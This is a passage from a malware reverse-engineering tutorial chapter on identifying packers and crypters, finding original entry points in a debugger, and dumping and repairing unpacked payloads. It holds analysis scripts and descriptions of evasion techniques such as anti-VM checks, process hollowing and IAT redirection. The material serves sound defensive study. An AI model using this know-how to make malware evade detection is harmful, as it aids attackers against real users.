Unpacking, Deobfuscation & Anti-Analysis Tricks
Unpacking, Deobfuscation & Anti-Analysis Tricks
This is Chapter 7 of the Malware Analysis & Reverse Engineering notebook. Chapter 6 put a debugger in your hands and ended by walking a simple packed loader to its original entry point. This chapter turns that single trick into a complete discipline: every common protection layer you will meet, how each one is built, and the specific, repeatable method for stripping it off.
Everything here runs inside the isolated analysis VM built in Chapter 1 — no host shares, no live network, and a clean snapshot you revert to after each detonation.
Why This Matters
Take a hundred fresh samples from any commodity feed and run Detect It Easy across them. Somewhere between seventy and ninety of them will be protected in some way. That is not an accident of sampling; it is economics. A packer costs the author nothing, breaks every static signature written against the payload, cuts detection rates on multi-engine scanners dramatically for the first days of a campaign, and forces every analyst who touches the sample to spend twenty minutes doing manual work before they can even begin the real analysis. The same payload re-packed with a fresh key the next morning is, to a hash-based control, a brand-new file.
This produces a hard split in analyst capability. An analyst who cannot unpack is limited to behavioural reporting — "it contacted this domain and wrote this file" — which is useful but shallow, non-attributable, and impossible to turn into durable detection. An analyst who can unpack recovers the actual payload: its real strings, its real import table, its configuration structure, its version markers, its code-reuse fingerprints. That artefact is what family attribution, YARA rules that survive re-packing, and campaign clustering are all built from.
The second half of the problem is that protection is not passive. Modern loaders actively look for you. They check whether a debugger is attached, whether the CPU count is implausibly low, whether the disk is suspiciously small, whether known analysis processes are running, whether Sleep returned faster than it should have, whether the mouse ever moved, whether the system locale is one the operator chose to avoid. If any check trips, the sample exits cleanly, or — much worse for you — executes a decoy path that looks like benign software and wastes an hour of your time. Knowing this catalogue, and knowing the specific counter for each entry, is what separates an analyst who says "the sample does nothing when run" from one who says "the sample refuses to run under 2 cores and its real payload is in the branch after the GetSystemInfo check".
By the end of this chapter you will be able to look at an unknown protected binary and answer, methodically: what is wrapping it, where does the wrapper hand control to the payload, how do I get a clean copy of that payload onto disk with a working import table, how do I recover its hidden strings and dynamically-resolved APIs, and what is it doing to try to stop me.
Part 1: The Protection Stack — Packers, Crypters, Protectors, Obfuscators
The words get used interchangeably in casual conversation, which causes real confusion when you are trying to decide on an approach. They describe different things, and the approach that beats one will fail against another.
1.1 The four categories
A packer compresses the original executable and prepends a small decompression stub. The original motivation was size, not evasion — UPX exists because in the 1990s a 40% smaller binary mattered. The evasion benefit is a side effect: compressed bytes do not match signatures written against uncompressed bytes. Packers are generally reversible and often have public unpackers.
A crypter encrypts the original executable and prepends a decryption stub. It has no legitimate size motivation; the entire point is that the payload bytes on disk match nothing. Crypters are the workhorse of commodity crime — sold as a service, with a "FUD" (fully undetectable) guarantee and a re-crypt schedule when detection rates rise. Each build uses a fresh key, so the packed file's hash and byte content differ every time while the payload underneath is identical.
A protector is a commercial product aimed at software licensing — VMProtect, Themida/WinLicense, Enigma, Obsidium. It combines compression, encryption, anti-debugging, anti-VM, import protection, integrity checks, and (in the strong tiers) virtualisation of selected functions into a custom bytecode interpreted at runtime. Protectors are engineered by people whose job is to defeat you specifically, and they are the hardest class by a wide margin. Malware uses them because they are effective, and because a cracked copy of Themida is easy to obtain.
An obfuscator does not wrap the program at all — it rewrites the program's own code so that the code remains directly executable but is much harder to read. Junk instruction insertion, opaque predicates, control-flow flattening, string encryption, identifier mangling. There is no stub and no "unpacked" moment: the obfuscated form is the program. This is why "just dump it from memory" does nothing against an obfuscator, and it is the single most common conceptual mistake analysts make early on.
| Class | What it does to the payload | Is there a distinct "unpacked" moment? | Typical entropy | General approach |
|---|---|---|---|---|
| Packer | Compresses it | Yes — payload materialises in memory | 7.0–7.9 | Find OEP, dump, rebuild IAT |
| Crypter | Encrypts it | Yes — often multi-stage | 7.5–8.0 | Same, but stub is bespoke; expect anti-debug |
| Protector | Encrypts + virtualises + guards | Partially — key functions never fully materialise | 7.8–8.0 | Dump what you can; devirtualise or analyse behaviourally |
| Obfuscator | Rewrites the code in place | No | Normal (5.5–6.8) | Simplify statically: deflatten, solve predicates, decrypt strings |
| .NET protector | Renames, encrypts strings, may compress assembly | Yes for packed .NET; no for pure obfuscation | Varies | de4dot / dnSpyEx, or dump the decrypted assembly from memory |
1.2 The layered reality
Real samples stack these. A typical commodity infection chain is a malicious document dropping an obfuscated PowerShell one-liner, which reflectively loads a .NET crypter stub, which decrypts and runs a packed native loader, which finally injects the actual stealer into a hollowed RegAsm.exe. That is four distinct protection layers of three different classes, and each needs its own technique.
flowchart TD
A[Delivery: macro / LNK / script] --> B[Layer 1: obfuscated script<br/>base64 + string concat]
B --> C[Layer 2: .NET crypter stub<br/>AES-decrypts embedded resource]
C --> D[Layer 3: native packed loader<br/>compressed, anti-debug stub]
D --> E[Layer 4: injected payload<br/>process hollowing into RegAsm.exe]
E --> F[Final payload: stealer / RAT<br/>API-hashed, stack strings]
style F fill:#2d3748,color:#fff
The methodology consequence is important: peel one layer at a time, and re-triage after each peel. After you dump layer 3, treat that dump as a brand new unknown sample — run Detect It Easy on it, check its entropy, check its imports. Analysts routinely dump one layer, find the result unreadable, and conclude the dump failed, when in fact the dump was perfect and the thing inside was packed again.
Red team relevance: the same taxonomy explains why "we ran it through a packer and it still got caught". A packer defeats static file signatures. It does nothing against behavioural detection, against memory scanning after the payload materialises, or against ETW-based telemetry — the very techniques Part 12 covers from the defensive side. Understanding the layers tells both sides where detection actually lives.
1.3 Stub plus payload — the model that explains everything
Nearly every packer and crypter produces a file with the same logical shape, and internalising it makes unpacking feel mechanical rather than mysterious:
- A stub: real, executable, on-disk code. This is what the entry point points at, what a disassembler shows you, and what any static analysis of the packed file actually analyses. It is usually small — a few hundred bytes to a few KB.
- A payload blob: the compressed or encrypted original, stored as a section (often named oddly), a resource, an overlay after the last section, or a fat
.dataarray. - A transfer of control: the moment the stub finishes reconstructing the payload in memory and jumps to it. Everything in Part 4 is about finding this instant.
When you look at a packed file in Ghidra and see forty lines of loop-heavy code with almost no API calls, you are not looking at a broken decompilation — you are looking at the stub, correctly. The malware is the blob it operates on.
Part 2: Detecting Protection — Entropy, Sections, Imports, Signatures
Never start unpacking before you have identified what you are up against. Five minutes of triage decides whether the answer is upx -d, a twenty-minute manual dump, or a two-day protector fight.
2.1 Entropy — the first and best signal
Shannon entropy measures information density in bits per byte, from 0 (a file of identical bytes) to 8 (perfectly random). Ordinary compiled x86 code sits around 5.8–6.5: opcodes repeat, addresses share high bytes, padding is zeros. Compressed or encrypted data has no such structure and sits at 7.2–8.0.
The formula, for byte value probabilities p(i):
H = -Σ p(i) · log2 p(i) for i = 0..255
A minimal, dependency-free calculator you should keep in your toolkit:
#!/usr/bin/env python3
# entropy.py — whole-file and per-section entropy
import sys, math, collections
def entropy(data: bytes) -> float:
if not data:
return 0.0
counts = collections.Counter(data)
n = len(data)
return -sum((c/n) * math.log2(c/n) for c in counts.values())
data = open(sys.argv[1], 'rb').read()
print(f"whole file : {entropy(data):.3f} ({len(data)} bytes)")
# sliding window highlights a packed blob inside an otherwise normal file
WIN = 4096
high = [(off, entropy(data[off:off+WIN]))
for off in range(0, len(data)-WIN, WIN)]
for off, e in high:
if e > 7.2:
print(f" high-entropy window at 0x{off:08x}: {e:.3f}")$ python3 entropy.py loader.bin
whole file : 7.713 (184320 bytes)
high-entropy window at 0x00001000: 7.802
high-entropy window at 0x00002000: 7.891
high-entropy window at 0x00003000: 7.854
The sliding window matters more than the single number. A file at 6.1 overall can still hide a 60 KB encrypted payload in a resource, and the window scan will point straight at its offset. Conversely, a whole-file 7.6 on an installer may be entirely explained by an embedded ZIP or PNG — always check where the entropy is before declaring the sample packed.
| Entropy reading | Usual meaning |
|---|---|
| below 5.0 | Text, scripts, mostly-zero data, .NET metadata-heavy files |
| 5.5 – 6.5 | Normal native compiled code |
| 6.5 – 7.2 | Mixed; code plus embedded media, or lightly obfuscated |
| 7.2 – 7.8 | Compressed — classic packer territory |
| 7.8 – 8.0 | Encrypted or strongly compressed — crypter or protector |
2.2 Detect It Easy from scratch
Detect It Easy (DIE) is the modern replacement for PEiD: an open-source file-type and packer identifier driven by scriptable signatures, with a GUI, a console binary, and per-section entropy visualisation built in. It exists because packer identification needs to be updated constantly, and a scriptable signature database ages far better than a hard-coded one.
Install on Kali or any Debian-based analysis host:
# Kali/Debian
sudo apt update && sudo apt install -y detect-it-easy
# or grab the portable build (works on Windows analysis VM too)
wget https://github.com/horsicq/DIE-engine/releases/latest/download/die_lin64_portable.tar.gz
tar xzf die_lin64_portable.tar.gz && cd die_lin64_portableThe three binaries you get:
| Binary | Purpose |
|---|---|
die |
Full GUI — section table, entropy graph, hex view, signature scan |
diec |
Console scanner, the one you script with |
diel |
Lightweight GUI |
Core console workflow and the flags worth knowing:
diec loader.bin # basic identification
diec -d loader.bin # deep scan — walks resources, overlays, sub-files
diec -e loader.bin # entropy report per section
diec -j -d loader.bin # JSON output for pipelines
diec -a loader.bin # show all matching signatures, not just best$ diec -d -e loader.bin
PE32
Operation system: Windows(95)[I386, 32-bit, GUI]
Compiler: MASM32(11)[-]
Packer: UPX(3.96)[NRV,best]
Overlay: Binary
Entropy: 7.713 (packed)
PE Header 0x00000000 0x00000400 2.71232 not packed
Section(0)['UPX0'] 0x00000400 0x00000000 0.00000 not packed
Section(1)['UPX1'] 0x00000400 0x0002a000 7.89133 packed
Section(2)['.rsrc'] 0x0002a400 0x00001000 4.11202 not packed
Treat every packer name DIE gives you as a hypothesis, not a fact. Signature matching keys off stub byte patterns and section names, both of which take thirty seconds to fake. A common trick is naming sections UPX0/UPX1 on a completely custom crypter so that analysts waste time running upx -d, and an equally common one is stripping the UPX magic from a genuinely UPX-packed file so upx -d refuses while the ESP trick still works perfectly.
2.3 Section table anomalies
The section table is where packing leaves the most reliable structural fingerprints. Use pefile for scriptable inspection:
#!/usr/bin/env python3
# sections.py — flag packer-typical section anomalies
import sys, pefile
pe = pefile.PE(sys.argv[1])
print(f"{'name':10} {'vsize':>10} {'rawsize':>10} {'entropy':>8} flags")
for s in pe.sections:
name = s.Name.rstrip(b'\x00').decode('latin-1')
ch = s.Characteristics
flags = ''.join([
'R' if ch & 0x40000000 else '-',
'W' if ch & 0x80000000 else '-',
'X' if ch & 0x20000000 else '-',
])
print(f"{name:10} {s.Misc_VirtualSize:>10x} {s.SizeOfRawData:>10x} "
f"{s.get_entropy():>8.3f} {flags}")
print("\nEntry point section:",
pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint).Name)
print("Imported DLLs:",
len(getattr(pe, 'DIRECTORY_ENTRY_IMPORT', [])))$ python3 sections.py loader.bin
name vsize rawsize entropy flags
UPX0 29000 0 0.000 RWX
UPX1 2a000 2a000 7.891 RWX
.rsrc 1000 1000 4.112 RW-
Entry point section: b'UPX1'
Imported DLLs: 1
Each of those lines is a red flag, and knowing why each one is suspicious is what lets you spot custom packers that no signature will ever name:
| Anomaly | Why it indicates packing |
|---|---|
| Virtual size much larger than raw size | Section reserves memory to be filled at runtime by the decompressor |
| Raw size of zero with non-zero virtual size | The section has no on-disk content at all — pure decompression target |
| Section writable and executable (RWX) | Code will be written then executed there; normal compilers never emit RWX |
Entry point not in .text / first code section |
Execution starts in the stub's section, not the compiler-generated one |
Non-standard section names (UPX0, .aspack, .themida, .vmp0, random 4-char) |
Named by the packer rather than the compiler |
| Two or three imported DLLs total | The stub needs only LoadLibrary/GetProcAddress; the payload's real imports are resolved at runtime |
| Large overlay after last section | Payload blob appended outside the section map |
| Timestamp of zero, or absurd (1970, 2099) | Header fields rewritten by the packing tool |
2.4 The import table tell
This is the single most decisive static signal after entropy. Open the imports of a packed file:
$ python3 -c "
import pefile,sys
pe=pefile.PE('loader.bin')
for e in pe.DIRECTORY_ENTRY_IMPORT:
print(e.dll.decode())
for i in e.imports: print(' ', i.name.decode() if i.name else i.ordinal)
"
KERNEL32.DLL
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualProtect
ExitProcess
Five imports. A real program that opens files, talks to the network, and touches the registry cannot possibly run on five imports — it needs dozens to hundreds. What you are seeing is exactly the toolkit an unpacking stub requires: allocate memory (VirtualAlloc), make it executable (VirtualProtect), and rebuild the payload's own imports (LoadLibraryA + GetProcAddress). The payload's genuine imports do not exist on disk; they will be constructed in memory. Recovering them is Part 5's entire subject.
Bug bounty parallel: this same reasoning — "the declared capability surface is far too small for the observed behaviour" — is the instinct that finds hidden functionality in obfuscated client-side JavaScript bundles during web assessments. A 4 KB bundle that produces authenticated API traffic is loading its real logic from somewhere.
2.5 capa — capability detection that survives light obfuscation
capa is a FLARE-team tool that matches rules against a binary's disassembly to state capabilities in plain language ("encrypt data using AES", "inject code into remote process") rather than just identifying the packer. On a packed file it will mostly report packing-related capabilities, which is itself a useful confirmation; run it again on your dump and it becomes the fastest possible summary of what the payload does.
# install (Linux or Windows analysis VM)
pip install flare-capa
# or standalone binary
wget https://github.com/mandiant/capa/releases/latest/download/capa-linux.zipcapa loader.bin # default report
capa -v loader.bin # verbose — shows matched features
capa -vv loader.bin # very verbose — every matched rule location
capa -j loader.bin > caps.json # machine-readable$ capa loader.bin
WARNING: This sample appears to be packed.
capa cannot handle packed files; results will be incomplete.
+------------------------+----------------------------------------------------+
| ATT&CK Tactic | ATT&CK Technique |
+------------------------+----------------------------------------------------+
| DEFENSE EVASION | Obfuscated Files or Information [T1027] |
| DEFENSE EVASION | Obfuscated Files or Information::Software Packing |
+------------------------+----------------------------------------------------+
That warning is a feature: capa detecting packing tells you to stop and unpack before spending analysis time.
2.6 A triage decision tree
flowchart TD
A[Unknown sample] --> B{Entropy > 7.2?}
B -- No --> C{Strings readable?<br/>Imports plentiful?}
C -- Yes --> D[Not packed —<br/>proceed to normal static analysis]
C -- No --> E[Obfuscated in place —<br/>see Parts 7 and 8]
B -- Yes --> F{Known packer signature?}
F -- "UPX / ASPack / MPRESS" --> G[Try public unpacker first]
G -- Fails --> H[Manual unpack — Part 4]
F -- "VMProtect / Themida" --> I[Protector — expect anti-debug,<br/>plan for partial recovery]
F -- Unknown --> H
H --> J[Dump + rebuild IAT — Part 5]
J --> K{Dump readable?}
K -- No --> L[Another layer — re-triage the dump]
L --> B
K -- Yes --> D
Part 3: How Runtime Packers Actually Work — The Unpacking Stub Lifecycle
You cannot reliably find the moment of transfer to the payload without a mental model of what the stub is doing on either side of it. Every stub, from a fifty-byte crypter to Themida, performs some subset of the same six stages.
3.1 The six stages
- Set up. Save the register state (classically
pushad, which is why the ESP trick works), locate its own base address (usually via acall $+5/popsequence to read EIP on x86), and findkernel32's base — often by walking the PEB rather than importing anything. - Acquire memory. Either use the space already reserved by an oversized virtual section, or call
VirtualAllocfor a fresh region. The allocation is typically RW at first, or RWX in lazier implementations. - Reconstruct the payload. Decompress (aPLib, LZMA, NRV/UCL for UPX) and/or decrypt (RC4, XOR with a rolling key, AES via bcrypt or a hand-rolled implementation) the blob into that memory.
- Rebuild imports. Walk the payload's own import descriptors,
LoadLibraryAeach DLL,GetProcAddresseach function, and write the addresses into the payload's Import Address Table. This is the stage whose absence breaks naive dumps. - Apply relocations and permissions. If the payload could not be mapped at its preferred base, patch every relocation entry. Then
VirtualProtectthe code region toPAGE_EXECUTE_READ(or leave it RWX, which is a gift to defenders). - Transfer control. Restore registers (
popad) and jump to the payload's original entry point — ajmp, acall, aretwith a pushed address, or an indirect jump through a register.
sequenceDiagram
participant OS as Windows Loader
participant S as Packer Stub
participant M as Allocated Memory
participant P as Payload
OS->>S: Map packed image, jump to AddressOfEntryPoint
S->>S: pushad — save register state
S->>S: Walk PEB to locate kernel32 base
S->>M: VirtualAlloc(RW or RWX)
S->>M: Decompress / decrypt blob into memory
S->>S: Parse payload import descriptors
S->>OS: LoadLibraryA + GetProcAddress per import
S->>M: Write resolved addresses into payload IAT
S->>M: Apply base relocations if rebased
S->>M: VirtualProtect to PAGE_EXECUTE_READ
S->>S: popad — restore register state
S->>P: jmp OEP
Note over P: Payload now executing —<br/>this is the dump window
The dump window annotated at the bottom is the practical takeaway. Between stage 6 and the payload's first destructive action, the fully reconstructed payload sits in memory with a valid IAT. Freeze the process there and you can take a near-perfect copy. Freeze earlier and the imports are unresolved; let it run on and the payload may erase its own headers, overwrite the stub, or inject elsewhere and exit.
3.2 Self-injection versus remote injection
Where the payload ends up determines which dumping tool you reach for. Four patterns dominate:
Self-injection (in-place unpacking). The payload is decompressed into the stub's own process, usually into an oversized section of the original image. The process image at 0x400000 simply becomes the payload. This is UPX and most simple packers, and it is the easiest case: your debugger is already in the right process, and the module base is the payload base.
Self-injection into fresh memory. The stub VirtualAllocs a region outside the image and runs the payload there. The dump target is a private RWX region, not a module, so tools that only dump modules will miss it. PE-sieve finds these by scanning for PE headers in private memory.
Process hollowing (RunPE). The stub launches a legitimate signed binary suspended (CreateProcess with CREATE_SUSPENDED), unmaps or overwrites its image (NtUnmapViewOfSection / WriteProcessMemory), writes the payload in its place, rewrites the thread context's entry point (SetThreadContext), and resumes. The payload runs inside a process named svchost.exe or RegAsm.exe or AddInProcess32.exe. Your debugger, attached to the parent, will never see the payload execute — you must attach to the child, or break on ResumeThread and dump the child's memory before it runs.
Reflective / manual mapping. The stub implements the PE loader itself entirely in memory, so the payload never touches disk and may never be a properly registered module. Module-listing APIs will not show it; only a memory scan will.
flowchart LR
subgraph SELF[Self-injection]
A1[Stub process] --> A2[Payload in own image<br/>or private RWX]
end
subgraph HOLLOW[Process hollowing]
B1[Stub process] --> B2[CreateProcess suspended<br/>RegAsm.exe]
B2 --> B3[Unmap + WriteProcessMemory]
B3 --> B4[SetThreadContext + ResumeThread]
B4 --> B5[Payload runs as RegAsm.exe]
end
subgraph REFLECT[Reflective load]
C1[Stub process] --> C2[Hand-written PE loader]
C2 --> C3[Unbacked executable memory<br/>no module entry]
end
Blue team usage: these three shapes map directly onto three high-fidelity detections. Self-injection into private RWX shows as executable memory with no backing file. Hollowing shows as a process whose in-memory image does not match its on-disk file, plus a CREATE_SUSPENDED parent-child pair. Reflective loading shows as a thread whose start address is in unbacked memory. Part 12 turns each into a concrete rule.
3.3 What "original entry point" actually means
The OEP is the AddressOfEntryPoint value the payload had when it was compiled, before packing. For a C program it is not main — it is the CRT startup routine (mainCRTStartup / WinMainCRTStartup), which initialises the heap, parses the command line, and calls main. That is why the OEP so often looks like this:
00401F00 55 push ebp
00401F01 8BEC mov ebp, esp
00401F03 6A FF push -1
00401F05 68 xx xx 40 00 push offset SEH_handler
00401F0A 64 A1 00000000 mov eax, fs:[0]A standard prologue, at a low address in the image, immediately after a wild jump from a completely different section. Recognising that shape on sight is the core skill of Part 4. In modern MSVC binaries you may instead land on a call to __security_init_cookie followed by a jmp to __scrt_common_main_seh — equally distinctive once you have seen it a few times.
For .NET payloads the concept differs: the entry point is a metadata token, not a native address, and "unpacking" a packed .NET assembly means recovering the assembly bytes rather than finding a native OEP. Part 9 covers that path.
Part 4: Manual Unpacking Methodology — Every Way to Find the OEP
Chapter 6 taught the ESP trick against a UPX stub. That is one technique of eight, and it fails the moment a stub does not use pushad. This part is the full toolkit, ordered roughly by how often it works. All commands are x64dbg command-bar syntax from Chapter 6.
4.1 Technique 1 — The ESP trick (stack restoration breakpoint)
Applies when: the stub saves registers on entry with pushad (x86) or a run of push instructions, and restores them right before the jump to OEP. Extremely common in classic packers.
Mechanism: the saved registers sit at the top of the stack for the entire life of the stub. Nothing reads them until the restore. A hardware breakpoint on read at that stack address therefore fires precisely at the popad, which is within a handful of instructions of the OEP jump.
; at the entry breakpoint, first instruction is pushad
F8 ; step over pushad — registers now on stack
; read ESP from the registers pane, e.g. 0019FF60
bph 0019FF60, r, 4 ; hardware bp, on read, 4 bytes
F9 ; run — fires at popad
Flags in bph addr, type, size: type is r (read/access), w (write), or x (execute); size is 1, 2, 4, or 8 bytes. Hardware breakpoints use the CPU's four debug registers and do not modify the code, which matters because software breakpoints write 0xCC and any stub that checksums its own code will notice.
Why it fails: x64 has no pushad; 64-bit stubs save registers individually or not at all. Stubs that use only four debug registers' worth of hardware breakpoints elsewhere will conflict. Some protectors deliberately read the saved stack area mid-run to trigger false positives.
4.2 Technique 2 — Breakpoint on memory allocation APIs
Applies when: the stub allocates fresh memory for the payload, which is nearly all crypters and modern loaders.
Mechanism: the payload has to live somewhere. Break on the allocator, note the returned address, then break on execute in that region.
bp VirtualAlloc
bp VirtualProtect
bp NtAllocateVirtualMemory ; catches stubs that skip the Win32 layer
F9
When VirtualAlloc returns, the address is in EAX/RAX. Set a memory breakpoint on execute across that whole allocation:
; RAX = 0x02340000, allocation size 0x30000
bpm 0x02340000, 0, x
bpm arguments are bpm addr[, singleshoot[, type]] where singleshoot 0 means the breakpoint persists and 1 means it is removed after firing; type is r, w, or x. Memory breakpoints work by changing page protection, so they cover an entire page range cheaply — ideal when you know the region but not the offset.
Press F9. The first execution anywhere in that region is the payload's first instruction — very often the OEP itself, or a small trampoline one call away from it.
Watch the protection argument. VirtualAlloc's fourth parameter (flProtect) tells you the intent before anything has been written: 0x40 is PAGE_EXECUTE_READWRITE, 0x04 is PAGE_READWRITE. An allocation of 0x40 is a near-certain code-hosting region. If the stub allocates RW and later calls VirtualProtect with 0x20 (PAGE_EXECUTE_READ), breaking on VirtualProtect is even better: the payload is fully written by then, so you can dump immediately at that call.
4.3 Technique 3 — Section hop / memory breakpoint on the target section
Applies when: the payload decompresses into an existing oversized section of the same image (UPX's UPX0, ASPack's .aspack).
Mechanism: the stub executes in one section and the payload executes in another. Set an execute breakpoint on the destination section and let the CPU tell you when control crosses over.
In x64dbg: Memory Map (Alt+M) → right-click the target section → Breakpoint → Memory, Execute. Or from the command bar, using the section base and size from the memory map:
bpm 0x00401000, 0, x
Practical note: put the breakpoint on the destination, not the current section, and set it before the decompression loop finishes, otherwise the write of payload bytes into the region may trip a write breakpoint thousands of times. If you must catch writes, use bpm addr, 1, w (single-shot) to fire once and re-arm manually.
4.4 Technique 4 — Run trace and the "new memory region" heuristic
Applies when: the stub is convoluted and you want the debugger to find the transition for you.
x64dbg's run trace logs every executed instruction to a file, with optional stop conditions. The condition that finds an OEP generically is "stop when EIP leaves the stub's address range":
; Trace → Trace record → Trace into (Ctrl+Alt+F7), condition:
; stop when EIP is outside the packer section 0x409000-0x40B000
eip < 0x409000 || eip > 0x40B000
Tracing is slow — hundreds of thousands of instructions per second at best, and decompression loops can run tens of millions — so scope it narrowly. Use Trace over (F7 semantics at call granularity) rather than Trace into when the stub calls large helper routines you do not care about.
4.5 Technique 5 — Tail jump recognition
Applies when: you are already stepping near the end of the stub and need to identify which of several jumps is the real transfer.
The tail jump is the stub's final control transfer. Its signature is a large delta between the jump's own address and its target, crossing a section boundary, immediately after register restoration and immediately before a compiler-style prologue. Common encodings:
| Encoding | Assembly | Notes |
|---|---|---|
| Direct relative jump | jmp 0x00401F00 |
Easiest — target visible in the disassembly |
| Register indirect | jmp eax / jmp rax |
Check register value before stepping |
| Push–ret | push 0x00401F00 / ret |
Deliberately hides the target from naive disassemblers |
| Indirect memory | jmp dword ptr [0x40A128] |
Follow the pointer in the dump pane |
| Call | call 0x00401F00 |
Payload returns to the stub for cleanup afterwards |
The push–ret form deserves attention because a linear disassembler renders it as an unrelated push followed by a function end, breaking automated control-flow reconstruction. When you see a push of an immediate that looks like a code address immediately followed by ret, you have found a tail jump regardless of what the tool claims the function boundaries are.
4.6 Technique 6 — Breaking on the payload's first meaningful API
Applies when: you have behavioural intelligence from Chapter 3 (Procmon showed a registry write, a file creation, a DNS lookup) and you want to skip the stub entirely.
Set breakpoints on the APIs the payload uses but the stub never would:
bp CreateFileW
bp RegSetValueExW
bp InternetOpenW
bp WSAStartup
bp CreateProcessW
When one hits, the call stack (View → Call Stack, or k in the command bar) shows the return address inside the payload. Follow that address in the disassembler and you are inside unpacked code, even if you never observed the OEP. For dumping purposes the OEP can then be recovered by scanning backwards for the image's AddressOfEntryPoint region — or, pragmatically, by noting that Scylla can often auto-detect it once the payload is mapped.
4.7 Technique 7 — Hardware breakpoint on the IAT
Applies when: the stub writes resolved import addresses into a table and the payload immediately calls through it.
Break on GetProcAddress a few times to learn where the resolved addresses are being written (the destination pointer is usually in a register at the write), then set bph <iat_entry>, r, 4. The first read of an IAT entry is the payload making its first API call — which is by definition inside unpacked code and usually within a few hundred instructions of the OEP.
4.8 Technique 8 — Just let it run and scan memory
Applies when: the stub is hostile, heavily anti-debugged, or hollows into a child process, and precision stepping is costing hours.
Let the sample run for a few seconds under no debugger at all, then scan process memory for freshly materialised PE images with PE-sieve (Part 5.4). You lose the exact OEP and you risk the payload doing damage, but you get the payload bytes — and in a snapshot-reverted VM, that trade is usually correct. This is the pragmatic professional's first move against protectors, not a last resort.
4.9 Choosing among them
flowchart TD
A[Packed sample at entry point] --> B{pushad or push run<br/>at entry?}
B -- Yes --> C[ESP trick — bph on ESP, read]
B -- No --> D{Stub calls VirtualAlloc<br/>or NtAllocateVirtualMemory?}
D -- Yes --> E[bp allocator, then bpm x on returned region]
D -- No --> F{Oversized empty section<br/>in the image?}
F -- Yes --> G[bpm x on that section]
F -- No --> H{Child process created<br/>suspended?}
H -- Yes --> I[Attach to child / break on ResumeThread<br/>dump child memory]
H -- No --> J[bp on payload-only APIs<br/>then read call stack]
C --> K[Land near OEP]
E --> K
G --> K
J --> K
I --> L[PE-sieve scan of target PID]
K --> M[Verify OEP shape, then dump]
L --> M
4.10 Verifying you actually found the OEP
Four checks before you spend time dumping, all cheap:
- Prologue shape.
push ebp; mov ebp, esp(x86) orsub rsp, 0x28/mov [rsp+8], rcx(x64) at the landing address. - Address plausibility. The OEP should be inside the image's code section at a low RVA —
0x401000-ish for a default-based x86 PE. An "OEP" at0x77xxxxxxis a system DLL; you stepped into an API. - Analysis succeeds. Press Ctrl+A in x64dbg. If the analyser reconstructs clean functions with recognisable CRT patterns around your address, the region contains genuine compiled code. If it produces garbage, you are still in stub territory or in data.
- Strings appear. Right-click in the dump → search for ASCII/UTF-16 strings in the module range. Unpacked payloads have readable strings; packed regions do not. Seeing URLs, registry paths, or format strings that were absent from the on-disk file is the strongest confirmation there is.
Part 5: Dumping and Rebuilding — Scylla, PE-sieve, and the IAT Problem
Finding the OEP is half the job. Turning live memory into a file that other tools will parse is the other half, and it fails for reasons that are invisible unless you understand the PE loader.
5.1 Why a naive memory dump is broken
Two structural problems and one semantic one.
Alignment. A PE on disk uses FileAlignment (typically 0x200); the same PE mapped in memory uses SectionAlignment (typically 0x1000). Every section's offset differs between the two forms. If you dump memory bytes and write them to a file without adjusting the section table, every PointerToRawData in the header is wrong, and any tool that parses the file will read the wrong bytes for every section. The fix is to rewrite each section's PointerToRawData to equal its VirtualAddress and SizeOfRawData to equal its virtual size — that is what "dump with memory alignment" means in the tools.
The import address table. On disk, the IAT contains RVAs into the import name table; the Windows loader overwrites it with real function addresses at load. Your dump captures the post-load state — a table of absolute addresses like 0x75A31C40 valid only for the exact DLL base addresses in that one process on that one boot, with no names anywhere. Open such a dump in Ghidra and every API call renders as call dword ptr [0x40A0F8] pointing to a meaningless number. This is why an otherwise perfect dump looks unreadable, and fixing it is what Scylla exists for.
Runtime state. Global variables in the dump hold whatever values they had at the dump instant, not their initial values. Usually harmless, occasionally confusing — a counter that "starts" at 7, a buffer already containing decrypted data (which is sometimes a gift).
5.2 Import reconstruction with Scylla
Chapter 6 used Scylla's happy path. Here is what to do when it does not go smoothly.
The workflow, precisely:
- Set OEP to the address you verified in 4.10.
- IAT Autosearch. Scylla scans memory around the OEP for a run of pointers into loaded module address ranges — that pattern is an IAT. It reports a start address and size.
- Get Imports. Every pointer is resolved back to a
module!functionname by looking up which loaded module's export table contains that address. - Review the tree. Entries Scylla could not resolve are marked invalid (red).
- Dump — writes memory to a file with the section table fixed for alignment.
- Fix Dump — appends a new import descriptor and name table to the dumped file and repoints the IAT at it.
The order matters: Fix Dump operates on the file produced by Dump, so dumping after fixing produces a file with no import fix.
When Autosearch finds nothing or finds a tiny table: the payload may resolve APIs lazily, so the IAT is not fully populated at the OEP. Let it run a little further — set a breakpoint on a payload API from 4.6, hit it, then run Autosearch again. Alternatively, tick "Advanced" search, which scans a wider range at the cost of false positives.
When entries are invalid: the common cause is IAT redirection — the packer replaces each IAT entry with a pointer to a tiny stub in its own memory, and the stub jumps to the real API. Scylla resolves the pointer to "unknown region" because it points at packer memory, not at a module export. Two options: Scylla's IAT Search → Advanced with "Fix IAT redirection" enabled, which follows the stubs; or manually inspect one stub in the disassembler, learn its shape, and script the resolution:
; a redirected IAT entry points here, in packer memory:
02341A20 68 40 1C A3 75 push 0x75A31C40 ; real API address
02341A25 C3 ret
That shape — push absolute, ret — is trivially scriptable: read four bytes at stub+1 to get the true target. Scylla handles the common variants; a bespoke one needs a small script.
When nothing works: cut the invalid entries and dump anyway. You lose names for those specific calls but keep everything else. Partial naming beats no dump.
5.3 Manual dump fixing with pefile
For automation, or when the GUI tools cannot be used, the alignment fix is thirty lines:
#!/usr/bin/env python3
# fixdump.py — convert a memory-aligned dump into a file-aligned PE
import sys, pefile
pe = pefile.PE(sys.argv[1])
# 1. Sections: on-disk offsets must equal virtual offsets for a memory dump
for s in pe.sections:
s.PointerToRawData = s.VirtualAddress
s.SizeOfRawData = max(s.Misc_VirtualSize, s.SizeOfRawData)
# 2. FileAlignment must match SectionAlignment for the mapping to be 1:1
pe.OPTIONAL_HEADER.FileAlignment = pe.OPTIONAL_HEADER.SectionAlignment
# 3. If the payload ran from a base other than its preferred one, record it
if len(sys.argv) > 3:
pe.OPTIONAL_HEADER.ImageBase = int(sys.argv[3], 16)
# 4. Entry point, if known
if len(sys.argv) > 2:
pe.OPTIONAL_HEADER.AddressOfEntryPoint = int(sys.argv[2], 16)
pe.write(sys.argv[1] + '.fixed')
print('wrote', sys.argv[1] + '.fixed')$ python3 fixdump.py dump.bin 0x1f00 0x400000
wrote dump.bin.fixed
$ diec dump.bin.fixed
PE32
